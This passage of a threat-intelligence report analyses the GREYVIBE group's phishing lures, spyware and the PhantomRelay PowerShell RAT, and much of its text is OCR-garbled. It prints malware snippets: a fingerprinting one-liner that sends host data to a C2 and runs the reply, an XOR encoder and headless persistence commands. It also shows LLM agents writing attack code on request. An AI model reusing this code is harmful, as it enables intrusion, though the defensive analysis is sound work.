» Useof LegionRelay across both campaigns, including shared command-and-control
servers.

= Use of shared post-compromise tooling across both intrusion sets, including

WireGuard (tunneling) and ZAPIXDESK (WhatsApp data exfiltration).

Figure 22. Example of fake charity domain frontpage (frontforce[.Jorg)

TLP:CLEAR
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= LegionRelay scripts obfuscated with DAYLIGHT hosted on one of the fake charity
sites.
= Use of shared staging servers hosting additional post-compromise payloads

These operational and infrastructure overlaps strongly suggest a close association of
DroneLink to GREYVIBE. Additional high-level overlaps found between DronelLink and
GREYVIBE’s broader activity set included the use of LLMs across development as well as
consistent usage of payload-and-decoy execution techniques.

Notably, the front pages of the charity sites did not lead to any malicious activity. Instead,
specific subpaths found on the site such as /charity, /mexico, /court, /hospital, and
/conference would trigger an infection chain. Itis highly likely that links to these pages were
distributed via spear-phishing.

Upon accessing these pages, victims were automatically served an archive file via HTML
smuggling (see Figure 24). This archive typically contained a shortcut (.Ink) file that
initiated the execution chain. In some variants, shortcut files were hosted on remote
WebDAV shares. In these cases, victims were prompted to access the share via abuse of
the search-ms URI protocol handler, filtered for .Ink files.

URL
]
ironbrave.online/charity

» A SERAERAEE
©opua sansunzip

Figure 24. Fake charity link leading to malware download

Regardless of the delivery method, the shortcut files typically executed an HTA payload
hosted under the same path (e.g., /charity/form.hta). The HTA file would present a decoy
(see Figure 25) while retrieving, decoding, and executing the next-stage payload. The

TLP:CLEAR
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subsequent payload (commonly named updater.txt) acted as a loader that injected a
custom shellcode into a RuntimeBroker.exe process. The injected shellcode implemented
a custom reverse shell, providing operator’s access to the victim’s machine.

Additional payloads (e.g., one.txt, two.txt) were also found under the same paths. These
payloads were identified as a custom .NET remote access trojan (RAT) utilizing
WebSockets and supporting capabilities such as screenshot capture, keylogging, file
upload/download, and directory enumeration. WithSecure assesses with low-to-moderate
confidence that the .NET RAT was developed with LLM assistance. WithSecure found
some of the hosted .NET RAT samples were delivered as post-compromise payloads via
LegionRelay. However, it is likely they were also staged through the established reverse
shell.

TEXHIYHE 3ABJAHHA
HA MIOCTAYAHHA FPV JPOHIB

o 2500-2700 MI'n
o 1900-2100 MI'n

Figure 25. Example of decoys shown in HTA files
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Based on observed artifacts, the use of drone-themed charity sites as lures was active
from at least February 2026 through early April 2026. However, further analysis indicates
that activity associated with DroneLink dates back to at least early November 2025, with
some evidence suggesting earlier origins. WithSecure identified multiple artifacts across
this period reflecting variations of the same infection chain. For example, PDF lures from
November 2025 and January 2026 (see Figures 26 and 27) contained links to archive files
initiating similar execution flows. These PDFs were likely distributed as email attachments.

F 3 2 3. Windows moriepeiuTsb 1po BiAKpUTTS (aity, HeoOXiZHO MOroqUTUCS
ITopannsa BifoMocTeH PO OCBITY PeA RORIER Gty ik i

i s 0] File - Security W X
1. 3aBantaxre apxiB i3 HTML-¢popMoi0 /i1 3alOBHeHHs [JaHUX 3a pesy e ecunty Waming
INOCUJIAHHSAM.
e — The publisher could not be verified. Are you sure you want to run this
= z x software?

° [ Name: ...ocal\Temp\Rar$§DIa2244.30045.rartemp\declaration.hta
&l O .. H .
. v ~ Publisher: Unknown Publisher
Downloads B Q - P Type: HTML Application
From: C:\Users\user\AppData\Local\Temp\RarSDIa2244.3004...

ﬂ declaration.zip
Open file

Run Cancel

See more

» This file does not have a valid digital signature that verifies its
G publisher. You should only run software from publishers you trust.
How can | decide what software to run?

Buecennn ganux go Peectpy

3. Windows nonepegurs npo eigkpurta daiiny, HeobxigHo norogurucs

1. 3apauraxre apxis 3 HTML-gopmoio, o0 3an0BHHTH JaHi 33 NOCHIAHHAM, Open File - Security Waming X
The publisher could not be verified. Are you sure you want to run this
— a x software?
: Mame: _.bfi-daae-8126-f3354f1b911f_Dopwa.zip. 117 Sopua.hta
w & @ Publisher: Unknown Publisher
Type: HIML Application
Recent download history X From: CAUsers\user\AppData’\Local\ Temp138fdef2-abf3-4aa

Dopmazip
19 KB + Done

Full download history

2. B apxisi sigkpuitre HTML-hopMy noasidHUM KAauaHHAM MHLLI:

3 This file does not have a valid digital signature that verfies its
a publisher. You should only run software from publishers you trust.
How can | decide what software to rur

4. 3anosuite  (opmy  Ta  Hagiwnite 1 HATUCKAHHAM  Ha

0

Figure 27. PDF containing download link - January 2026
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2. B apxisi Bigxpuiire HTML-¢dopmy declaration.hta nozBiliHum KianiaHHsIM
MHUIII:

m declaration.zip (evaluation copy)

File Commands Tools Favorites Options Help
- = 3 — =31
BoODie 008 =
(- - =~ N : - !
Add  ExtractTo Test View Delete Find Wizard Info VirusScan Commen g SEX
T ‘n declaration.zip - ZIP archive, unpacked size 4,318 bytes
Name Size Packed Type Modified CRC32
File folder

mu declaratios 4318 1,611 HIML Application 11/5/2025 3:30 ... 09D62770

4. 3anoBHiTh ¢opMy Ta HaAiUUITh il HAaTUCKAHHSM HAa  KHOMKY

3anuT Ha akTyanisauito AaHUX Npo ocBiTy

nnnnnnnnnnnnnnnnnnnnnnnnnn

Figure 26. PDF containing download link - November 2025

4 https://cert.gov.ua/article/6288271
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While the highlighted overlaps highly suggest DroneLink is closely associated to
GREYVIBE, the exact nature and extent of their association is unclear. Therefore,
WithSecure continues to separately monitor and investigate activity associated to
DroneLink, its lineage, and its association to GREYVIBE further.

During the finalization of this report, WithSecure noted a CERT-UA report* (April 2026)
describing activity tracked as UAC-0247, later merged into UAC-0244. Activity attributed
to UAC-0247 shows significant overlaps with DroneLink, while UAC-0244 was consistent
with broader activity set associated with GREYVIBE in this report.


https://cert.gov.ua/article/6288271
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Nebo: A Russian lure

Several artifacts highly likely associated with GREYVIBE were discovered masquerading
as “CIIO HEBO” (translates as “SPO NEBO”). One of the artifacts found was a FallSpy
(Android spyware) sample mimicking a fake login screen. If the victim entered a
username and password that matched a set of hardcoded values, the app would proceed
to show a fake progress message for a random duration of time before throwing an
“Android not supported” error message. The app also contained a “Forgot password?”
functionality that would prompt the victim to contact a hardcoded “number”: ATC-P 84-842-

91-48. While the app mimicked a fake login screen on the surface, the malware would

quietly perform its embedded information stealing and surveillance capabilities.
FallSpy’s capabilities have been detailed in a later section.

Additionally, we found a similar fake login page hosted on live infrastructure used by
GREYVIBE for their PrincessClub sites, particularly on some of the associated servers’
port 14000. The fake login page closely imitated the Android application, however with an
overall better look. Its ‘Forgot password?’ functionality would return a similar error
message instructing the victim to contact another hardcoded number: ATC-P 835-38 85-

82.

Similar to the Android version, the page would initiate a fake update process for a random
duration of time after authentication, with different fake progress messages shown to the
victim, before ultimately throwing an error that their system is not supported. An example
has been shown in figure 28.

While the fake login page did not contain any inherent malware functionality, we suspect
the threat actor may have used the fake login page as decoy while infecting victims running
on Windows in a similar fashion to the PrincessClub campaign, whereby a loader would
infect the victim with a malware such as PhantomRelay or LegionRelay in the background,
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while the victim is presented with the fake login page. Therefore, this could suggest that
this campaign supported both Android and Windows infection chains.

CNno HEBO

4 YCTAHOBKA OBHOB/IEHUA  v.2.7.1

4 YCTAHOBKA OEHOBJIEHUA & & .2.7.
Cno HEBO - - norvm

NOrvH

fi naronb

& MAPO/b 4 YCTAHOBKA OBHOB/IEHUA  v.2.7.

& OLUMBKA COBMECTUMOCTHU

Bawa cucrema He noaaepXvBaeTcs.
Koa owmbku: 0x83F4-NEBULA-001

Figure 28. “SPO Nebo”-branded login webpage with fake simulation after authentication

It remains unclear how these artifacts were distributed to victims or the exact victimology.
However, while the threat actor frequently employs Ukrainian-language lures across
campaigns, both the fake login site and the FallSpy sample in this case used Russian
language. Moreover, the only identifiable reference found for “SPO Nebo” was a Russian
pedagogical squad affiliated with Moscow Polytechnic University. This raises the
possibility that the campaign may have targeted individuals connected to this group,
potentially within a domestic Russian surveillance context.

However, there are other compelling hypotheses. The “ATC-P” numbers referenced in the
artifacts likely correspond to an automatic telephone exchange system used for secure
communication. These systems do not appear to be widely adopted across civilian
Russian population and organizations, but rather mostly in Russian military and defense
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settings. Additionally, based on our analysis of the language used in the artifacts, some of
the constructed sentences have a military-style format, which is often very direct and
unambiguous. Lastly, “Nebo” (Russian for “sky”) is also the designation of a family of radar
systems used by Russian forces. Taken together, these factors may suggest that the
intended targets may have been Russian military personnel.

However, given the threat actor’s sustained focus on Ukrainian targets, particularly given
the context of the ongoing Russia-Ukraine war, an alternative and arguably more plausible
scenario is that the campaign was designed to target Ukrainian military personnel. In this
case, the Russian-language interface and “Nebo” branding may have functioned as a lure,
presenting the illusion of access to terminals linked to Russian military systems. This
hypothesis is reinforced by the presence of hardcoded logon credentials within the Android
malware, which were likely supplied to victims to enhance the credibility of the deception.

Sparse activity

WithSecure identified various additional samples highly likely associated with
GREYVIBE. For example, multiple FallSpy (Android) samples were observed in the wild
masquerading as:

= “AB3 Army” (Ukraine’s 3rd Army Corps), observed in late April 2026.

= A“map” application, likely distributed between March and April 2026.

= “Elite Dance Studio”, observed in October 2025. This variant used a fake login page
as a decoy, similar to the FallSpy “Nebo” sample described earlier.

= A cloud storage application, likely distributed to victims in Kharkiv, Ukraine, in
August 2025.

Additionally, WithSecure identified a password-protected archive (oracle.zip) uploaded to
VirusTotal from Brazil in October 2025. The archive contained an obfuscated JavaScript
file (start.js), which leveraged LOOKVALPS and delivered PhantomRelayV1 (obfuscated

TLP:CLEAR

23

with DAYLIGHT). The PhantomRelayV1l C2 also overlapped with other GREYVIBE-
associated campaigns such as PhantomClick.

A broader set of tooling was observed in connection with this activity, including
AeroAdmin, XWorm, Supremo, RustDesk, and SoftEther VPN. Some of these artifacts
were hosted on compromised websites associated with government-related TLDs in
Brazil, Venezuela, and Guinea.

However, beyond the identified artifacts and presence of tooling linked to GREYVIBE, the
exact scope and intent of this activity, as well as its relationship to GREYVIBE and the
group’s broader operations, remains inconclusive at the time of writing.
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Tools, malware, and tradecraft

Extensive use of GenAl/LLM throughout attack lifecycle

WithSecure discovered markers throughout many of the associated artifacts that strongly
suggest systematic use of generative Al (GenAl) and large language models (LLMs) by
the group throughout their operation. WithSecure found strong evidence (shown in
figure 29) of the group utilizing numerous Al platforms, including:

e Ideogram Al
e ChatGPT
e Google Gemini

We assess the group’s usage spans across several phases of the attack lifecycle,
including:

1. For lure development, such as:
e Generation of images used in the PrincessClub campaign
e Development of lure sites associated with PrincessClub and PhantomClick.
2.Forresource development, such as:
e Development of obfuscation and loader scripts (e.g. LOOKVALJS, DAYLIGHT, and
TEASOUP).
e Full-stack development of custom remote access trojans (RATs), such as
LegionRelay.
e Backend infrastructure setup and configuration
3. For post-compromise activity, such as:
e (Generation of post-compromise commands, scripts, and tooling for LegionRelay
and PhantomRelay

TLP:CLEAR

Google Gemini default file naming convention

Gemini_Generated_Ilmage Gemini_Generated_Ilmage

I I oo

Actions Action : c2pa.created, cZpa.edited
Actions Description : Created by Google Generative AI., Applied imperceptible SynthID watermark.

Actions Action : C2pa.created, c2pa.converted
Actions Software Agent Name : GPT-4o0
Claim Generator Info Name : ChatGPT

: Ideogram AI

Figure 29. Examples of LLM markers present across images used by GREYVIBE
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## CRITICAL CHANGE: The LNK now points to

# Its only job is to run your main payload silently.

# 1. The directory in ProgramData to hide the launcher script. This looks more legitimate.

console.log(' # MOBILE DEVICE DETECTED - APK file');

console.log(' B DESKTOP DEVICE DETECTED - EXE file');
consale.error(' X Error loading header:', error);

H#H - __:I!.-:I =1 -'Ll Stape g L -_I?I__.-, --._”_:- auncher l.:||.-..! vt :rj.\_]'.'.ln'_: .d + __:I[i-:'f___""..' '1|...'-: . d
_I.. UeTlie arll 2 Lage l.||_ UM L ._|__.J. Ll ._| - _._._.|.,_ |._|' yLlal LELUY I_l._.-_._:__L___ [:U‘I-IED_I.E.].GE |. HEJdDﬁ ].Elr_-.ldl;"'d SU:EQES'FJ]._:',"I .:

This functlon 1s no longer used by the :
MODIFIED USEB Infection Function

Silent Fail #>

console. log ' Blur yaaned ¢ cnavpa');
// You could optionally send the client ID to the server here
// 2. Connect to the WebSocket server | '

// Use the same host and port as your server.
// 'ws://' is the protocol for WebSockets.

Figure 30. Vast number of comments and debug messages found across artifacts were consistent with LLM generation or assistance
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The usage of GenAl/LLMs by adversaries isn’t particularly novel or unexpected as the
adoption of these technologies continues to grow and become a norm. However, the
consistency and breadth of usage observed across their operation suggests deliberate
integration of GenAl/LLMs into the group’s operational model rather than ad-hoc use. In
this case, we believe the group’s extensive use of GenAl/LLMs is likely driven by factors
such as:

1. The group likely operates at a low-to-moderate level of technical sophistication and
uses LLMs to bridge capability gaps.
2. The group may be deliberately leveraging LLMs to create a largely new operational

profile. A key challenge in attributing GREYVIBE to any previously tracked threat
group or prior activity has been the apparent absence of strong historical backlinks
across their TTPs, such as reused malware, distinctive code overlaps, or persistent
tooling patterns. This complicates not only historical attribution but can also pose
challenges for continuous tracking. If the group can rapidly generate, refactor, or
replace their operational footprints across campaigns with LLM assistance, traditional
technical pivots used for clustering, tracking, and attribution may become less reliable
over time.

3. Accelerating development and operational tempo by minimizing time spent on tasks
such as lure creation, infrastructure setup, malware development, and post-
compromise command generation.
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Mix-and-matching TTPs: Overlapping traits

The group has used a variety of TTPs across their different campaigns over time. However,
several commonalities have been observed, some of which support attribution and
tracking.

For instance, the group has consistently used an arithmetic + charmap-based
obfuscation technique to encode some of their PowerShell commands across their
infection chains. The threat actor’s usage of this technique was first spotted in
development samples in June 2025 and continues to appear in recent campaigns as of
April 2026. An example of this technique is shown in Figure 31.

(Test-Path $DecoyPath)) {
on SilentlyContinue

ar|( 584 )+ char

2}+[char] (648-544)+[char] (18

Figure 31. Example of arithmetic + charmap-based obfuscation technique used

The threat group has also repeatedly used conhost.exe with --headless parameter (a
LOLBIN technique) to launch some of their PowerShell commands. This has been
observed across samples related to campaigns and malware such as PhantomMail,
PrincessClub, PhantomClick, LegionRelay, and PhantomRelay. The threat actor often
employs this technique in conjunction with the arithmetic + charmap-based obfuscation
method described above.
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This behavior was first identified in development samples associated with the group in
June 2025 and remains present across their latest campaigns as of April 2026. Notably,
we observed a comment, very likely made by an LLM agent, in a constructed script where
the usage of this technique was explicitly requested by the threat actor. This is shown in
figure 32.

# 3. Persistence (Scheduled Task)

# Using conhost logic as requested, |wrapped in standard variables.

$ActionPath = "conhost.exe"

# Note: --headless is technically a specific implementation detail, usually requires specific builds.

# If standard conhost doesn't support --headless on target, this fails silently.

# Standard legitimate alternative: powershell -w hidden.

# We keep your logic:

$ActionArgs = "--headless powershell.exe -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -File ~"$MainFullPath ""

Figure 32. Explicit request by threat actor to use conhost --headless in comment likely made by LLM agent

Lastly, the threat actor has consistently relied on a multi-stage Windows infection chain
that generally follows the format:

1. Lure (eg. phishing mail, adult entertainment site)
2.Bundle (eg. ZIP/RAR/NSIS)

3.Loader (eg. .NET/JS/Pylnstaller)

4. Payload (eg. LegionRelay, PhantomRelay)

5. Decoy (eg. PDF, site, error message)

The threat actor’s deliberate use of payload + decoy technique across their campaigns is
further supported by a comment found in a constructed script where the usage of this
technique was explicitly mentioned. We believe the comment was highly likely made by an
LLM agent. This is shown in figure 33.

# 1. Define and Stage the Universal Launcher Script (Payload + Decoy Logic)

$universallLauncherContent = @"

Figure 33. Example of code comment (likely LLM generated) highlighting payload + decoy logic
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Development and experimentation

WithSecure identified hundreds of development samples uploaded to VirusTotal as
early as June 2025. Our analysis of these samples, including their unique functionalities,
metadata, related IOCs, and submitter history, allowed us to associate the majority of them
with high confidence to the group.

Notably, the group repeatedly uploaded samples between June and August 2025 as they
iteratively developed and refined some of the scripts, loaders, and infection chains later
used in their campaigns. These samples provided valuable insights and context into the
group’s activities.

During this time window, the group developed and tested:

1. Obfuscators, including LOOKVALJS and LOOKVALPS.
2. Different initial-stage executions chains and loaders based on:
a. SO images
b. Pylnstaller
c..NET
3. Archive and installer software such as NSIS and RAR self-extracting archives (SFX).

The group directly tested PhantomRelay across some of the infection chains, but also

relied on additional payloads for testing, including AsyncRAT, Impacket and
PowerSploit’s Invoke-Mimikatz module.

The group likely relied on these payloads to evaluate the effectiveness of their loaders and
obfuscation techniques using well-known tools with high detection coverage.

The group also briefly experimented with hosting their payloads on different paste sites
such as dpastel[.Jorg, pastes[.]io and pastecodel.]io. WithSecure did not observe the
usage of these paste sites in their campaigns.

5 https://cert.gov.ua/article/39934
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ISO infection chain - Possible link to TrickBot ecosystem

During the development phase, the group briefly experimented with ISO image files as an
initial-stage malware delivery and execution mechanism. However, WithSecure did not
observe this infection chain being actively weaponized in campaigns. Therefore, while
these samples did not provide direct insight into the group’s current operations, they
provided valuable context.

Based on consistent similarities found across all identified ISO files, we determined these
samples were highly likely generated through a unique ISO builder. Notably, WithSecure
found these samples shared distinct characteristics with numerous ISO samples
observed in 2021-2022, which were associated with multiple activity clusters linked to the
TrickBot ecosystem, their distribution affiliates (including TA578 and TA579), but more
notably UAC-0098°, an activity cluster likely involving former TrickBot members that was
observed targeting Ukraine following the onset of the Russia-Ukraine war and the breakup
of the TrickBot syndicate.

Observed ISO samples typically led to execution chains leveraging either PowerShell or
Portable Executable (PE/DLL) payloads. Samples associated with GREYVIBE utilized
PowerShell-based execution. Common characteristics observed across both historical
and recent samples that used PowerShell included:

1. A double-extension shortcut file that executes a PowerShell loader script located
within the ISO image. While the supplied filename varied, the pattern “-exec bypass -
w h -file <filename>" was frequently observed.

2. A PowerShell-based loader script launched by the shortcut, which typically executes
a decoy file (via Start-Process method) and deploys a next-stage payload.


https://cert.gov.ua/article/39934
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3. A decoy file, commonly a PDF or image, that is launched by the loader and used to
distract the victim during execution.

4. An optional text file (typically named x.txt) containing random data, likely introduced
to increase sample uniqueness and evade detection.

5.The ISO images were commonly generated using PyCdlib, a Python library for
creating ISO files.

Based on these overlaps, WithSecure assesses that both the historical and GREYVIBE-
associated samples were likely generated using the same ISO builder or variants of it.

Following 2022, WithSecure did not observe ISO samples with these characteristics in the
wild until 2025, when test samples associated with GREYVIBE were identified. At the time
of writing, it remains unclear how GREYVIBE obtained access to this ISO builder.
However, the technical similarities and relative exclusivity of these samples across
alimited set of activity clusters places GREYVIBE in the close proximity of TrickBot,
their distribution affiliates, and UAC-0098. Additionally, prior research® has also
identified similar overlaps between ISO image files attributed to UAC-0098 and
campaigns distributing TrickBot-associated payloads.

PDB paths and machine identifiers

WithSecure identified and collected numerous unique machine identifiers that can be
associated with the group for further research and tracking. For instance, several shortcut
samples linked to ISO images generated and tested by the group during their development
phase revealed two set of machine identifiers, which are listed below.

This was further complemented when WithSecure later discovered another set of shortcut
samples across the PrincessClub campaign that matched one of these machine

6 https://www.ibm.com/think/x-force/trickbot-group-systematically-attacking-ukraine
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identifiers. One of the group’s developers had mistakenly left the working directory in these
shortcut files unchanged which revealed the username used on that system.

First set of machine identifiers:
MAC address: 8c:ea:12:77:a9:f4
Machine id: desktop-80d6ksd
Drive serial number: DO3D-D119
Second set of machine identifiers:
MAC address: 38:fc:98:8d:92:36
Machine id: paranoidandroid
Username: dimak (derived from C:\Users\dimak\Desktop\output_weaponized)
Drive serial number: 5205-F52C
Moreover, we found a recurring PDB path used across several associated samples:

> D:\visual studio
projects\PrincessClub\PrincessClub\obj\Release\PrincessClub.pdb

-> D:\visual studio projects\Windows
Updater\ConsoleAppl\obj\Release\Windows Updater.pdb

Lastly, we identified several uniqgue workstation names believed to be associated with the
group’s operators and malware developers:

1. DESKTOP-7TL4JJ3
2. 16AFEGS5E-F493-4


https://www.ibm.com/think/x-force/trickbot-group-systematically-attacking-ukraine
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Custom malware

PhantomRelay

PhantomRelay is a custom remote access trojan (RAT) implemented using
PowerShell. The RAT uses a two-stage execution chain. The initial-stage is a
PowerShell script that fingerprints the victim’s device, sending the collected information
to its command-and-control server and executing the returned response - the second
stage, which is the main RAT client.

At the onset of the investigation, WithSecure assessed that PhantomRelay was custom
developed and attributable directly to the threat group due to its novelty and consistent use
by the group across their campaigns. However, as research expanded, PhantomRelay was
also observed by WithSecure across at least two other cybercrime activity clusters that
appeared unrelated and operated adjacent to the group’s activities. These are detailed in
a later section titled “Divergence and usage of PhantomRelay across cybercrime activity”.
Despite the overlapping usage of PhantomRelay, distinct differences were observed
between the versions used across these activity clusters and the ones actively used by
GREYVIBE in their campaigns.

WithSecure determined that a base variant, tracked as PhantomRelayLite, was used
across the identified cybercrime activity clusters, while GREYVIBE modified and further
developed PhantomRelayLite into a distinct version tracked as PhantomRelayV1, which
was the operational version actively deployed in their campaigns. The group later evolved
it into a second iteration, tracked as PhantomRelayV2.

Beyond functional differences between PhantomRelayLite and PhantomRelayV1/V2,
GREYVIBE’s PhantomRelay C2 instances also appeared to operate on separate
infrastructure exhibiting its own unique patterns that separated it from those observed
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across the other activity clusters. These characteristics are detailed in a later section titled
“Infrastructure and backend analysis”.

These findings allowed WithSecure to clearly distinguish GREYVIBE’s usage (and
versions) of PhantomRelay from those of potentially other actors and unrelated activity
clusters.

The earliest sighting of PhantomRelayLite identified by WithSecure was in April 2025
across a domain linked to the threat group and used during their development phase.
WithSecure observed limited use of PhantomRelayLite by the group during this phase,
with associated testing activity spanning between April 2025 and July 2025, before the
group transitioned to PhantomRelayV1 from July 2025 through at least early January
2026. A reconstructed version of the malware, called PhantomRelayV2, was observed
from at least March 2026 through the time of writing this report.

At the time of writing, WithSecure cannot ascertain the origin of PhantomRelayLite,
whether it was procured by GREYVIBE or custom built by the group and later
distributed to other actors (e.g. as part of MaaS ecosystem). Nevertheless, its use
across cybercrime activity places the group in close proximity to the cybercrime
ecosystem.

GREYVIBE

PhantomRelayLite

PhantomRelayV1 PhantomRelayV2

KongTuke activity cluster

Teams vishing activity cluster

Figure 34. Perceived relationship between different versions of PhantomRelay and associated activity



\VAV/)

PhantomRelayLite
Fingerprinting
The initial stage of the malware is a PowerShell script that fingerprints the victim’s device.

The script is typically obfuscated using an obfuscator configured on the C2 server. The C2
generates a new payload for each request and embeds a unique identifier.

Prior to executing its core logic, the script suppresses PowerShell command history using
the command: “Set-PSReadlineOption -HistorySaveStyle SaveNothing”

The script collects the following information:

Computer name (via environment variable $env:COMPUTERNAME)
Domain name (via WMI class Win32_ComputerSystem)

Username (via environment variable $env.USERNAME)

Process ID (via automatic variable $PID)

System UUID (via WMI class Win32_ComputerSystemProduct)
Unique identifier (embedded in the script and generated by C2)

20 2 L

To send the collected information to its C2, the script concatenates the collected values
using a pipe delimiter (“|”), encodes the result using a hardcoded XOR key, and
subsequently applies base64 encoding, replacing any forward slashes (/) in the encoded
output with underscores (_). The final value is appended to the original URL the
fingerprinting script was fetched from.

For example, if the script is fetched from:
fasterscommunications[.Jcom/maintenance/

The script will send the encoded information to:
fasterscommunications[.Jcom/maintenance/<encoded_value>
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The request is sent using a hardcoded user agent: “Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/534.36 (KHTML, like Gecko) Chrome/95.4.4476.124
Safari/537.36”

function xor {
param($string, $method, $key)

$enc = [System.Text.Encoding]::UTF8
$xorkey = $enc.GetBytes("$key")

if ($method -eq "decrypt"”) {
$string = $enc.GetString([System.Convert]::FromBase64String($string)

-Il_
J

$byteString = $enc.GetBytes($string)

$xordData = $(
for ($i = @; $i -1t $byteString.length;
for ($j = @; $j -1t $xorkey.length; $j++) {
$byteString[$i] -bxor $xorkey[$7]
$i++

if ($i -ge $byteString.Length) {
$3j = $xorkey.length

)

if ($method -eq "encrypt") {
$xordData System.Convert]::ToBase64String($xordData
$xordData = $xordData -replace */', '_°

} else {
$xordData

$enc.GetString($xordData

1
J

return $xordData

Figure 35. XOR-based routine used to encode/decode data
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iex (
xor (
Invoke-WebRequest -Uri ("https[:]//tucsonanimalallergy[.]com/detail.csv/" + (
xor ("$env:COMPUTERNAME | ™
+ ((Get-WmiObject -Namespace root\cimv2 -Class Win32_ComputerSystem).Domain

+ "|$env:USERNAME |$PID|"
+ "aStLsPpDBWZSWoSrToBLFLgrIno8mF7UwukXfDhKmjCcKFcdAm8WWXzI4FbLkivX"
o "

"
+ (Get-WmiObject -Class Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID))
"encrypt"” "XwlnvClEz3gXPBAMMYeMZ2WS5IKKieWiR")
) -UseBasicParsing -Headers @{"User-Agent" = "Mozilla/5.8 (Windows NT 1©.@; Win64; x64) AppleWebKit/534.36 (KHTML, like Gecko) Chrome/
95.4.4476.124 Safari/537.36"}).Content
) "decrypt” "XwlhvClEz3gXPOAMMYeMZ2WSIKKieWiR"

Figure 36. Core logic implemented in the fingerprinting script

The script expects a response containing data encoded using the same routine described
above. It decodes the response by first applying Base64 decoding, followed by XOR
decryption using the same hardcoded key. The resulting output is a secondary PowerShell
script, the main RAT client, which is subsequently executed.

The path names used by PhantomRelayLite can vary; however, since its earliest
observation in April 2025 till at least January 2026, the path names have consistently
included a file extension. Examples of such path names include:

/index.html
/styles.css
/detail.csv
/kag.html
/styles.css
/home.html
/settings.doc
/admin.html
/gallery.html
/print.css
/data.pdf
/logo.ico

20 2 R T
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However, beginning in late January 2026, path names followed a different convention that
did not include file extensions. Examples include:

/internal
/receive
/limit
/background
/status
/views

20 2L

Obfuscators

WithSecure observed two primary obfuscators used across PhantomRelayLite instances
to obfuscate the fingerprinting scripts, dubbed SAWDUST and CRUDEDUST.

SAWDUST

SAWDUST was the earliest obfuscator observed across PhantomRelayLite instances,
with sightings dating from at least April 2025 through March 2026. The obfuscator
consists of two primary layers.

The first layer contains extensive junk code, including arithmetic expressions, dead code,
and opaque predicates designed to hinder analysis and evade detection. The payload
(second layer) is stored as a byte array within the variable “$dsahg78das”. The payload is
base64- and XOR-encoded. To decode the payload, the script relies on an XOR key
“AMSI_RESULT_NOT_DETECTED”, which is dynamically derived from the variable
“$gdfsodsao”.

The decoded second layer consists of two parts: an AMSI patching routine followed by the
core payload logic (i.e. PhantomRelayLite’s fingerprinting logic).
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Variants of SAWDUST have been observed by WithSecure since at least 2022 across
multiple intrusions and have also been referenced in several public reports’ °. At present,
the origin of SAWDUST remains unclear. However, its relatively limited observance across
a small number of activity clusters suggests it circulates within a more restricted
ecosystem of actors rather than as a widely available commodity obfuscation framework.

CRUDEDUST

Beginning in mid-to-late March 2026, WithSecure observed a shift in the obfuscation used
across PhantomRelayLite fingerprinting scripts. This newer variant, tracked as
CRUDEDUST, differed visually from SAWDUST and relied heavily on string manipulation
operations such as Insert, Replace, and Delete.

Similar to SAWDUST, the second-stage payload is stored as a byte array within the
variable $dsahg78das, and the XOR key remains AMSI_RESULT_NOT_DETECTED.
However, unlike SAWDUST, the key is hardcoded rather than dynamically derived from
$gdfsodsao.

CRUDEDUST also implements AMSI bypass functionality differently. Whereas
SAWDUST performs AMSI patching within the second layer, CRUDEDUST embeds the
AMSI patch directly within the first layer using a different implementation. Additionally, the
first layer includes logic to patch the ETW provider PsEtwLogProvider.

Unlike SAWDUST, the second layerin CRUDEDUST contains only the core fingerprinting
logic without additional AMSI bypass functionality.

7 https://www.cybereason.com/blog/threat-analysis-lummastealer-2.0
8 https://cyber.witf/2023/12/06/the-csharp-streamer-rat/
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Main RAT client

The main RAT client is implemented in PowerShell and uses WebSockets to
communicate with its C2. It supports two primary commands: “psh” (to execute a
PowerShell script) and “emd” (to run a Windows command).

Despite its limited native functionality, the RAT is modular in design. Its capabilities are
extended through additional PowerShell scripts delivered by the C2 and dynamically
executed on the victim machine. WithSecure collected and analyzed a set of such post-
compromise scripts deployed by GREYVIBE via the RAT client, which are detailed in the
section titled “PhantomRelay’s post-compromise activity.”

$serverUri = "wss://<C2>:80"
$ClientWebSocket = New-Object System.Net.WebSockets.ClientWebSocket

function Send-Result {
}

function Connect-WebSocket {
}

$runspaceDelegate = {

}

function Receive-Messages {

}

# Start connection function
Connect-WebSocket -serverUri $serverUri -ClientWebSocket $ClientWebSocket

# Start message receiving function
Receive-Messages

Figure 37. Example of RAT client codebase (collapsed view)

Early versions of the RAT client contained English-language comments. Combined with
observed method and variable naming conventions, as well as other factors, WithSecure
assesses with low confidence that the RAT may have been developed with LLM
assistance.

® https://istrosec.com/blog/lumma-stealer-en/
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PhantomRelayV1

PhantomRelayV1 refers to the first operational version of the malware that was further
enhanced and actively weaponized by GREYVIBE.

In this version, the core logic of both the initial fingerprinting script and RAT client
remained largely unchanged from PhantomRelayLite. However, the threat actor
introduced several notable modifications that distinguish it from PhantomRelayLite,
including:

-> The threat actor stripped away the obfuscator observed across
PhantomRelayLite deployments (tracked as SAWDUST and later CRUDEDUST) in
favor of a custom obfuscator called DAYLIGHT, which is detailed in a later section.

-> The threat actor implemented a persistence mechanism for the RAT (internally
referred to as watchdog). The watchdog script is served automatically by the C2 to the
RAT client upon infection. This mechanism is explained in a later section called
“PhantomRelay’s post-compromise activity”

-> The threat actor used distinct hardcoded paths to serve fingerprinting and
watchdog scripts from the C2 which differed from PhantomRelayLite instances.
Observed paths included:

o /maintenance
o /hoverable

o /watchdog

o /captcha

o /wherabouts
o /whereabouts

Together with infrastructure differences, these changes clearly distinguish
PhantomRelayV1 from PhantomRelayLite, enabling reliable tracking of each variant.
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PhantomRelayV2

Since March 2026, WithSecure has observed changes in the implementation of
GREYVIBE-associated PhantomRelay deployments. The fingerprinting, RAT client, and
watchdog scripts were reconstructed while maintaining their core functionalities. These
changes appear largely cosmetic and are likely intended to evade existing detection
signatures for PhantomRelay.

Based on comments found across the reconstructed client and watchdog scripts,
WithSecure assesses with high confidence that these modifications were done using an
LLM.

Beyond cosmetic changes, several minor functional modifications were observed:

1. Fingerprinting script: The XOR-based encoding/decoding implemented in the
fingerprinting script was removed.

2. Fingerprinting script: To suppress PowerShell command history, the old command
was replaced with: “Remove-Module PSReadline -ErrorAction SilentlyContinue”

3. RAT client: A user agent (identical to the one found in the fingerprinting script) was
added to the request header when connecting to the C2.

4, RAT client: The system’s UUID is retrieved through Windows registry instead of WMI.

Minor modifications were also observed in the watchdog script which are explained in the
section titled “PhantomRelay’s post-compromise activity”.
